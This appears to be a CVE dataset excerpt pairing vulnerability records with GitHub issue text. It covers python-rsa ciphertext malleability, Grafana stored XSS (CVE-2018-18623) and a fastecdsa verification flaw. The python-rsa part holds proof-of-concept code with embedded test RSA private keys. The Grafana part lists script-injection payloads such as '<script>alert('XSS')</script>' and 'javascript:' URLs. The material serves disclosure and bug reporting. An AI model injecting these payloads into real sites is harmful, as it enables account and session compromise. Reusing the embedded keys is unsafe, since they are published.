b6aaf13221bf4491ebbb7fca27ca20e221f49c3c37b89fcf2dc0e2cb63f8f8a9b7a142250590282010100b61d84ff934a4e437b16ee1b4b9fdf4ae13370b5385bde7a5464a123c0343df575f9e128ef9df944230d39cc9cf5dc0edb28b7e740b69ef024c1bfee39fcd5340ffaea0010160c535dc0920e7cd81be533d00fa554a1fc4d3e02c461569f5e7ca787f1515edf45b196b759884de652c38d5934cf92524e807b4d3b590bc39bc417ee4885a761d28ddadce6c8fdb3b961d3e7fd48064df9340a967f8b79997438841f48579a476ddb55088c308f68f2b29d01c6597a5a7c8d066284f63e37a68c3879c32aa3836675fd0eb2719883a91944561e9dd7e8aa6bb17157f08c48f8e6fae5c3e5a2bb6b5d580eec6c97ddcd9be0a49ef283a7031ad7aba8d438df4e950282010022fb8e5fcd9b767104e71244db53058c18061e1b0d1f63b73e2d59a95e2a10cd87426a33da13c287cdef8136e5e47e93fb9b30ad92628a7b543f48eb011a86356ab3cb480f27e391b018ca187d97af3d82e31861ecafa663db78aa89c3bd468e6aadefb3a43f78bc00b8014c95db54e9d21a017e8f21f671545edde9a965ea32dfff45cda37fca1aa5132f6c8eed222bd01fed5a6e7d639580c5955777a86544c2c4c939bdb8b4c486dda53072861a0334359bdb3758475e49d90d0539944e78cfcfd8fff55bb31a1cebc65b28f51e790701b2f7912188984f034e6e96e1c5251e33fe38fb221bce7a90a86857c5f56b6ca77307c45d5290b1f088ade082b349", "type" : "RsaesPkcs1Decrypt", { "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : "000004327a40b02bf671557124f963a57b3860e92cff62c439c0425b48b4346fc60c0ebf7a7584f94d34450d20cbd877c8d5dca12f517b486c2cccb8e1f467276ac03aadc94a97fcd224994d81672eb577cf0bbd6aa948d3dc4d7f06456f6650e5620435c078787db0f36124b292349ebe011ce54b3e932fac6525a37c793846a4f08ac3694d649f4a04e24e1f5e50f11a0492a68a509cf30e565ceb9931565b4aa5c3514b2ba87c4c0937ebcd6bb2b8248abb0970d30480059daea4c6ae556f6e91b25ffa5a4f723a9bf98a0bff668a1f0c799d3b0c85b19190dbfb5d894f84fa5d72d261dd2c09013dc0981cd0c46d7a08710801590aac8ff17b237387427ab3c6d6f2a59434b37f123bc7fc0a83d5ca5793540cba582e41b262859d36eabd0aa8203ca05d4c16aaf2a7b2bc7f251497d4c8f8654deae3cfffc5d3599ab4779585bf1673196782075a91ee7c3296a2edc6ee6c30344dd0c0a82274ae17982eeb23eca5c39c7d11a2dd171c70108b0a33164fc175425586f714deb5552e90e561f7882211d3f01c07867256d0cca511e61b0cb51189d8e5124e8cacdab6042bd421447ffa7fe6cad8e7f17dd3e599bae061f85bb5181726d1c0c5bbf2c2a5c1e60f486a81782e58d90ccd5a769f98361765441de142bb0a7f7bd406a537d5be0c2773e847b1df1d49ac1daa963feec84954b72a695b74281159647a62a3c19acdda", "result" : "invalid", "flags" : [] }, """ print("\nTest with prepended bytes to ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("000004327a40b02bf671557124f963a57b3860e92cff62c439c0425b48b4346fc60c0ebf7a7584f94d34450d20cbd877c8d5dca12f517b486c2cccb8e1f467276ac03aadc94a97fcd224994d81672eb577cf0bbd6aa948d3dc4d7f06456f6650e5620435c078787db0f36124b292349ebe011ce54b3e932fac6525a37c793846a4f08ac3694d649f4a04e24e1f5e50f11a0492a68a509cf30e565ceb9931565b4aa5c3514b2ba87c4c0937ebcd6bb2b8248abb0970d30480059daea4c6ae556f6e91b25ffa5a4f723a9bf98a0bff668a1f0c799d3b0c85b19190dbfb5d894f84fa5d72d261dd2c09013dc0981cd0c46d7a08710801590aac8ff17b237387427ab3c6d6f2a59434b37f123bc7fc0a83d5ca5793540cba582e41b262859d36eabd0aa8203ca05d4c16aaf2a7b2bc7f251497d4c8f8654deae3cfffc5d3599ab4779585bf1673196782075a91ee7c3296a2edc6ee6c30344dd0c0a82274ae17982eeb23eca5c39c7d11a2dd171c70108b0a33164fc175425586f714deb5552e90e561f7882211d3f01c07867256d0cca511e61b0cb51189d8e5124e8cacdab6042bd421447ffa7fe6cad8e7f17dd3e599bae061f85bb5181726d1c0c5bbf2c2a5c1e60f486a81782e58d90ccd5a769f98361765441de142bb0a7f7bd406a537d5be0c2773e847b1df1d49ac1daa963feec84954b72a695b74281159647a62a3c19acdda") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) print("\nTest with original ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIJKgIBAAKCAgEA9gG+DczQSqQLEvPxka4XwfnIwLaOenfhS+JcPHkHyx0zpu9B\njvQYUvMsmDkrxcmu2RwaFQHFA+q4mz7m9PjrLg/PxBvQNgnPao6zqm8PviMYezPb\nTTS2bRKKiroKKr9Au50T2OJVRWmlerHYxhuMrS3IhZmuDaU0bhXazhuse/aXN8Iv\nCDvptGu4seq1lXstp0AnXpbIcZW5b+EUUhWdr8/ZFs7l10mne8OQWl69OHrkRej+\ncPFumghmOXec7/v9QVV72Zrqajcaa0sWBhWhoSvGlY00vODIWty9g5L6EM7KUiCd\nVhlro9JzziKPHxERkqqS3ioDl5ihe87LTcYQDm+K6MJkPyrnaLIlXwgsl46VylUV\nVfEGCCMc+AA7v4B5af/x5RkUuajJuPRWRkW55dcF/60pZj9drj12ZStCLkPxPmwU\nkQkIBcLRJop0olEXdCfjOpqRF1w2cLkXRgCLzh/SMebk8q1wy0OspfB2AKbTHdAp\nFSQ9/dlDoCFl2jZ6a35Nrh3S6Lg2kDCAeV0lhQdswcFd2ejS5eBHUmVpsb/TldlX\n65/eMl00LRRCbnHv3BiHUV5TzepYNJIfkoYp50ju0JesQCTivyVdcEEfhzc5SM+O\niqfv+isKtH1RZgkeGu3sYFaLFVvZwnvFXz7ONfg9Y2281av0hToFHblNUEUCAwEA\nAQKCAgEA01Gb2G7fXb6cZKN4FxPdBJt0f1ZR/ZGMzoqbgLbWovtqqzNKtWmom1iY\nLgquNzCQKZ+iJ/llK4AtI+5cpoJMQz0B1AuwRzsWGQqL+xN8CnBLT0m0UBW/vuH2\ncERvB1lSWdcMfXmulfmyVDsBYuu3Y+u4HEtu3/nRl97eHb5X5ARm0VbU39XXY0xF\nU0+yu70b8leBehc8B5X9vMUzl29KDQQWDyma9dwnKoFLNtW65RFrlUIXjx1VTKt6\nZFMDVIK5ga3UvY/9XVAIObI+MOvT84aPB1hMvRK6CJMlmChg9p8r3HB3tsYPWKIn\nKCM3nhAjcEFl98FPZKGP1bJFoYFJt+2jOFpWup55UConvxOGXN41vhXeA9BqpvCL\nFyt+60tzy8FXAZxdkzWEqNGt1ht9vKOyU8oM+T3JqKOqwvUCJwIuaS97R2dVZiDM\nko1j4xB4w2Diq0txqRfhnn6wk4BILltOqIIChxwqKcpvZrL+MEr2CVIOT4HWTCZ2\ni7gSqGZ5NmYR9M9uieK9HZ1+KHKcfw5OMVLXrX8Yb6MvAeFp/wahIAG8F539DclC\ny6vFVfZ/X9BD4KM1Q0D6SQ0vEjNnvpJus+Hf/nDDFRyHRQ8yF9wqoLWnBpxaF9VW\nFMmZQTn3s3tJ6f54CvZaDoni5Y/qr/4WO8nRnq/ZzSmw7zzvPQECggEBAPwhuFXF\nrUyitpcFFkBvccbnnvxBJuZZh3LbHggt5rDd2qoqKVHwQUjobgveKCE7f2APmHMI\nMB6s6hNAYrsMPd9ijamr+T7xzj51sJU6SE29NVS9XAZJkz3XflJ1Y+kPBagBP92s\nlYwyk3jpQwOzBL5fnfH+WwQ6f92UcAo/Cxy70FFrfNlMV8qW2f0qjKlzmRIYy6M6\nHCPYEPdRnR93Aqtyr/2z+EobKogRbkAzvE0M/HmJxlfg/pTpZEdq5Yuua3h282wJ\n0ysaY/jEfJSnTJLu33X8J8/+D4RSNj5LyPdlPzy1Xq9pPOxw0TyHXek1qLIEOat+\nk/dpgcWVf8W7RNkCggEBAPnH90ilBdI+zvmoX4CXyM99cCjvbJDiKjNlEVgtLMNj\nbjTq03IE29IvFCo/sdX4V7AxDHpDP1GuFNRgiwG0OqjHrmeDX3++C52XlIs56bot\nOhaH7bi1bucP8FNtq00FUfce0NrunkEkSfXwmbzBXk7wVU3Hn4f+xaDepxfHBUOS\nv0RGE5N0AbvvPCL79+c4xYd5uYFgmh+cEd1vC76ZluJ3NFnkzvJHsCqfwhKWrFel\nsQVhgkMQz73syQ4GWYNw42mHE/2+JSjsTvPcyq5wHu3D5UrW569OaOOzm9LpeskR\nmTbGR6UDURyyg9+YTP18B/D1aqiuMWaUjvP0GwhZk00CggEBAIFUhqqwoIlr+X8T\n4+sff1xJGVtJzDtid0EqNoh5ixj0ZCLfR5y5QbO1TiWWSj1puJe8yDVRYOWLSvKf\nF0XdLKu2cPY0ucBY5rNRSUfywn3l7UJPc7Hh8b5KGIkRoDM/OmaIZYs+6OMmWlEu\nTerK3EcO4wTrtSJBI6+0YZhP6FJP4LazDTKln27S3HSpa8fL/Ru0TlinCSI1xdYn\nLhKiyGLLjIz10QmqT7HGRyh1oURgwe1SB8SyK8SUx5R+t8pjqMr9MTYdAA3fFqLX\nnxPdkUDZeRSbSIy/RJRaW2qvEyIb9Ekeu7f8onyiDiIfScPDe4n88twOLLY/j4qb\nehQiUFkCggEBALYdhP+TSk5DexbuG0uf30rhM3C1OFveelRkoSPAND31dfnhKO+d\n+UQjDTnMnPXcDtsot+dAtp7wJMG/7jn81TQP+uoAEBYMU13Akg582BvlM9APpVSh\n/E0+AsRhVp9efKeH8VFe30WxlrdZiE3mUsONWTTPklJOgHtNO1kLw5vEF+5Ihadh\n0o3a3ObI/bO5YdPn/UgGTfk0CpZ/i3mZdDiEH0hXmkdt21UIjDCPaPKynQHGWXpa\nfI0GYoT2PjemjDh5wyqjg2Z1/Q6ycZiDqRlEVh6d1+iqa7FxV/CMSPjm+uXD5aK7\na11YDuxsl93Nm+CknvKDpwMa16uo1DjfTpUCggEAIvuOX82bdnEE5xJE21MFjBgG\nHhsNH2O3Pi1ZqV4qEM2HQmoz2hPCh83vgTbl5H6T+5swrZJiintUP0jrARqGNWqz\ny0gPJ+ORsBjKGH2Xrz2C4xhh7K+mY9t4qonDvUaOaq3vs6Q/eLwAuAFMldtU6dIa\nAX6PIfZxVF7d6all6jLf/0XNo3/KGqUTL2yO7SIr0B/tWm59Y5WAxZVXd6hlRMLE\nyTm9uLTEht2lMHKGGgM0NZvbN1hHXknZDQU5lE54z8/Y//Vbsxoc68ZbKPUeeQcB\nsveRIYiYTwNObpbhxSUeM/44+yIbznqQqGhXxfVrbKdzB8RdUpCx8Iit4IKzSQ==\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("04327a40b02bf671557124f963a57b3860e92cff62c439c0425b48b4346fc60c0ebf7a7584f94d34450d20cbd877c8d5dca12f517b486c2cccb8e1f467276ac03aadc94a97fcd224994d81672eb577cf0bbd6aa948d3dc4d7f06456f6650e5620435c078787db0f36124b292349ebe011ce54b3e932fac6525a37c793846a4f08ac3694d649f4a04e24e1f5e50f11a0492a68a509cf30e565ceb9931565b4aa5c3514b2ba87c4c0937ebcd6bb2b8248abb0970d30480059daea4c6ae556f6e91b25ffa5a4f723a9bf98a0bff668a1f0c799d3b0c85b19190dbfb5d894f84fa5d72d261dd2c09013dc0981cd0c46d7a08710801590aac8ff17b237387427ab3c6d6f2a59434b37f123bc7fc0a83d5ca5793540cba582e41b262859d36eabd0aa8203ca05d4c16aaf2a7b2bc7f251497d4c8f8654deae3cfffc5d3599ab4779585bf1673196782075a91ee7c3296a2edc6ee6c30344dd0c0a82274ae17982eeb23eca5c39c7d11a2dd171c70108b0a33164fc175425586f714deb5552e90e561f7882211d3f01c07867256d0cca511e61b0cb51189d8e5124e8cacdab6042bd421447ffa7fe6cad8e7f17dd3e599bae061f85bb5181726d1c0c5bbf2c2a5c1e60f486a81782e58d90ccd5a769f98361765441de142bb0a7f7bd406a537d5be0c2773e847b1df1d49ac1daa963feec84954b72a695b74281159647a62a3c19acdda") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) ``` On the other hand, pcryptodome detects whenever bytes "0" are prepended to the ciphertext: ``` from Crypto.Cipher import PKCS1_v1_5 from Crypto.PublicKey import RSA from Crypto.Hash import SHA from Crypto.Hash import SHA from Crypto import Random privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----" private_key = RSA.importKey(privateKeyPem) cipher = PKCS1_v1_5.new(private_key) """ "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : "00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d", "result" : "invalid", "flags" : [] }, """ ct = "4501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d" print("[*] Unmodified ciphertext") try: secret = cipher.decrypt(bytes.fromhex(ct), "test") print("\tDecryption OK") except Exception as e: print(e) print("[*] Ciphertext with prepended bytes") ct = "00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d" try: secret = cipher.decrypt(bytes.fromhex(ct), "test") except Exception as e: print("\t", e) ``` Best regards, Antonio

python-rsa does not detect ciphertext modification (prepended "0" bytes) in PKCS1_v1_5

https://api.github.com/repos/sybrenstuvel/python-rsa/issues/146/comments

12

2020-05-27T08:11:51Z

2020-06-10T22:08:17Z

https://github.com/sybrenstuvel/python-rsa/issues/146

625,477,884

146

1,248

CVE-2018-18623

2020-06-02T17:15:11.427

Grafana 5.3.1 has XSS via the "Dashboard > Text Panel" screen. NOTE: this issue exists because of an incomplete fix for CVE-2018-12099.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/grafana/grafana/issues/15293" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/grafana/grafana/pull/11813" }, { "source": "cve@mitre.org", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/grafana/grafana/releases/tag/v6.0.0" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://security.netapp.com/advisory/ntap-20200608-0008/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/grafana/grafana/issues/15293" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/grafana/grafana/pull/11813" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/grafana/grafana/releases/tag/v6.0.0" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://security.netapp.com/advisory/ntap-20200608-0008/" } ]

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[ "79" ]

79

https://github.com/grafana/grafana/issues/15293

[ "Exploit", "Third Party Advisory" ]

github.com

[ "grafana", "grafana" ]

#### Grafana is vulnerable to XSS vulnerability because the panels included in the description below can contain html. Therefore, the option to disable or filter the html source must be provided. > [Affected Component] > #Grafana(5.3.1) > Dashboard > Text Panel > > [Attack Vectors] > 1. Grafana(5.3.1) Launch > 2. Access to any dashboard > 3. Add Panel > Text > 4. Edit Text Panel > 5. Set Options -> Mode(html) & Content(<script>alert('XSS');</script>) > > ------------------------------------------ > > [Affected Component] > #Grafana(5.3.1) > Dashboard > Table Panel > > [Attack Vectors] > 1. Grafana(5.3.1) Launch > 2. Access to any dashboard > 3. Add Panel > Table > 4. Edit Table Panel > 5. Set Column Styles > : Check Render value as link > : set Url(javascript:alert('XSS')) > > ------------------------------------------ > > [Affected Component] > #Grafana(5.3.1) > Dashboard > All Panels > General > > [Attack Vectors] > 1. Grafana(5.3.1) Launch > 2. Access to any dashboard > 3. Dashboard Settings > 4. Set dashboard name(TEST<script>alert('XSS')</script> > 5. Save dashboard and go back to dashboard home > 6. Edit any panel > 7. Add link, in General > 8. Write the 'TEST' on the dashboard blank >

XSS: Option to disable or sanitize html source in some panels

https://api.github.com/repos/grafana/grafana/issues/15293/comments

4

2019-02-07T05:48:46Z

2019-11-06T01:37:45Z

https://github.com/grafana/grafana/issues/15293

407,551,041

15,293

1,249

CVE-2020-12607

2020-06-02T21:15:10.607

An issue was discovered in fastecdsa before 2.1.2. When using the NIST P-256 curve in the ECDSA implementation, the point at infinity is mishandled. This means that for an extreme value in k and s^-1, the signature verification fails even if the signature is correct. This behavior is not solely a usability problem. There are some threat models where an attacker can benefit by successfully guessing users for whom signature verification will fail.

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[ { "source": "cve@mitre.org", "tags": [ "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/AntonKueltz/fastecdsa/commit/4a16daeaf139be20654ef58a9fe4c79dc030458c" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/AntonKueltz/fastecdsa/commit/7b64e3efaa806b4daaf73bb5172af3581812f8de" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/AntonKueltz/fastecdsa/commit/e592f106edd5acf6dacedfab2ad16fe6c735c9d1" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/AntonKueltz/fastecdsa/issues/52" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/AntonKueltz/fastecdsa/commit/4a16daeaf139be20654ef58a9fe4c79dc030458c" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/AntonKueltz/fastecdsa/commit/7b64e3efaa806b4daaf73bb5172af3581812f8de" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/AntonKueltz/fastecdsa/commit/e592f106edd5acf6dacedfab2ad16fe6c735c9d1" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/AntonKueltz/fastecdsa/issues/52" } ]

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[ "347" ]

347

https://github.com/AntonKueltz/fastecdsa/issues/52

[ "Exploit", "Third Party Advisory" ]

github.com

[ "AntonKueltz", "fastecdsa" ]

